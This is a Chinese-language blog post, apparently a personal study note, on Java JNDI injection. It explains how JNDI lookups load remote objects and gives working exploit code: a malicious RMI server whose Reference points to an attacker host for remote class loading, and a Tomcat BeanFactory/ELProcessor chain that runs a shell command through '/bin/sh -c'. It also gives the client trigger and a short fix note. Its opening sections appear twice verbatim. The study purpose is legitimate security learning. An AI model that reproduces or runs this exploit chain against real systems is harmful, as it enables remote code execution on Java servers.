JAVA JNDI注入攻击学习

一直对JNDI的漏洞处于一知半解的状态,拿到一个漏洞往往是分析下简单的看看触发成因和修复方案,对利用的研究有点忽略。也许是由于对java开发也不太熟悉的缘故。

今天公司事情较少。我决定认真学习下JNDI注入相关的知识。

  • 什么是JNDI

作为一个JAVA 小白, 我先要弄明白JNDI是什么,为什么需要有这个东西,它解决了什么问题。
没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。
有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。
J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。
所以JDNI的全名是Java Naming And Directory Interface. JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。

JNDI客户端可以通过一个简单的字符串进行资源查找。如果这个资源的来源不可信,那么可能会导致远程代码执行的问题。

  • JNDI注入成因

当一个需要被获取的对象的名称可以被远程控制的时候,黑客可以将被攻击的java客户端的jndi请求指向恶意的服务地址,恶意的资源服务地址响应了恶意的java对象,这个对象是“javax.naming.Reference" 的示例,JNDI客户端客户端会尝试解析该对象的classFactory和classFactoryLocation属性。如果这classFactory属性是未知的,那么java会使用URLClassLoade从classFactoryLocation处获取字节码。
就是这么简单的机制,‘initialContext.lookup‘方法即使没有直接暴露在污点数据中,我们可以利用它进行漏洞利用。很多时候,我们可以通过反序列化和不安全的反射的攻击方式来实现攻击。

  • 举例学习

作为一个JAVA 小白, 我先要弄明白JNDI是什么,为什么需要有这个东西,他解决了什么问题。
没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要经常去调整配置。
有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。
J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。
所以JDNI的全名是Java Naming And Directory Interface. JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。

JNDI客户端可以通过一个简单的字符串进行资源查找。如果这个资源的来源不可信,那么可能会导致远程代码执行的问题。

  • JNDI注入成因

当一个需要被获取的对象的名称可以被远程控制的时候,黑客可以将被攻击的java客户端的jndi请求指向恶意的服务地址,恶意的资源服务地址响应了恶意的java对象,这个对象是“javax.naming.Reference" 的示例,JNDI客户端客户端会尝试解析该对象的classFactory和classFactoryLocation属性。如果这classFactory属性是未知的,那么java会使用URLClassLoade从classFactoryLocation处获取字节码。
就是这么简单的机制,‘initialContext.lookup‘方法即使没有直接暴露在污点数据中,我们可以利用它进行漏洞利用。很多时候,我们可以通过反序列化和不安全的反射的攻击方式来实现攻击。

  • 举例学习

我们先看一段代码:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
    return new javax.naming.InitialContext().lookup(name);
}

根据我python基础,我看出这个代码是映射/lookup这个地址的一个方法,它会拿url中的name变量进行数据查询。

利用方法:

JDK版本低于1.8.0_191

这个漏洞我们控制了jndi的变量内容,可以很简单的把内容地址指向我们的服务器,以此触发远程对象加载,我们创建一个恶意的RMI服务器,并响应一个恶意的类地址。

代码如下:

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

我们创建了一个javax.naming.Reference的示例,把这个示例绑定到 /Object地址上,这个Export对象对目标服务器是未知的,他会从http://_attacker.com/ExprotObject.class这里获取字节码,从而触发1个RCE。

上面的代码在Java 8u121 Oracle 添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击,具体文章地址在这,代码展示可以在 marshalsec 里面找到。直到JAVA 8u191,Oracle对LDAP向量进行了相同的限制,导致JNDI远程类加载问题被修复。现在我们利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高。要求系统中存在gadgetl类。

JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类。

这个类时用于从攻击者控制的Reference对象中提取真实的对象。真实对象要求必须存在目标系统的classpath, 且实现了“Javax.naming.spi.ObjectFactory”接口和“getObjectInstance方法。

public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws Exception;
}

我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。

"org.apache.naming.factory.BeanFactory" 在apache tomcat中,它包含了一段利用反射创建bean的代码。(不知道大佬们怎么发现他的emm)

public class BeanFactory
    implements ObjectFactory {
 
    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws NamingException {
 
        if (obj instanceof ResourceRef) {
 
            try {
 
                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }
 
                ...
 
                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
 
                Object bean = beanClass.getConstructor().newInstance();
 
                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;
 
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;
 
                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }
 
                Enumeration e = ref.getAll();
 
                while (e.hasMoreElements()) {
 
                    ra = e.nextElement();
                    String propName = ra.getType();
 
                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }
 
                    value = (String)ra.getContent();
 
                    Object[] valueArray = new Object[1];
 
                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }
...
,>

emm,就是这段代码,BeanFacktory 创建了一个任意bean类实例并执行了它所有的setter 函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。(每次看到这种类我都觉得时后门代码。。)

目标类还需要有个无参构造函数和strings传参的setters函数。实际上setters函数命名可以不是set开头,因为BeanFactory 包含一些逻辑让我们可以为setters函数设置任意的名称。叼叼叼。

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;
 
if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
 
    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }
,>

这里使用的魔性属性时“forceString", 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。

通过BeanFactoryClass,我们可以创建一个任意对象的实例且调用任意一个参数的的公开方法。

Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }

恶意表达式可以是:

{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}

 

串联所以需要的利用条件,使用RMI方式发送。

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

客户端触发代码:

new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

BeanFactory从Reference中获取真实对象的过程中,触发模版表达式代码,导致执行任意代码。

 

JDNI 注入的解决方案:

JDNI注入的问题核心是传给initalContext.lookup的数据是外部用户可控的。这是核心关键点。即使通过jdk代码限制也无法完全修复问题。 反序列化漏洞也可以利用这种方式进行JNDI解析注入导致任意代码执行。

 

posted @ 2020-10-27 13:33  Expl0it  阅读(3211)  评论(0)    收藏  举报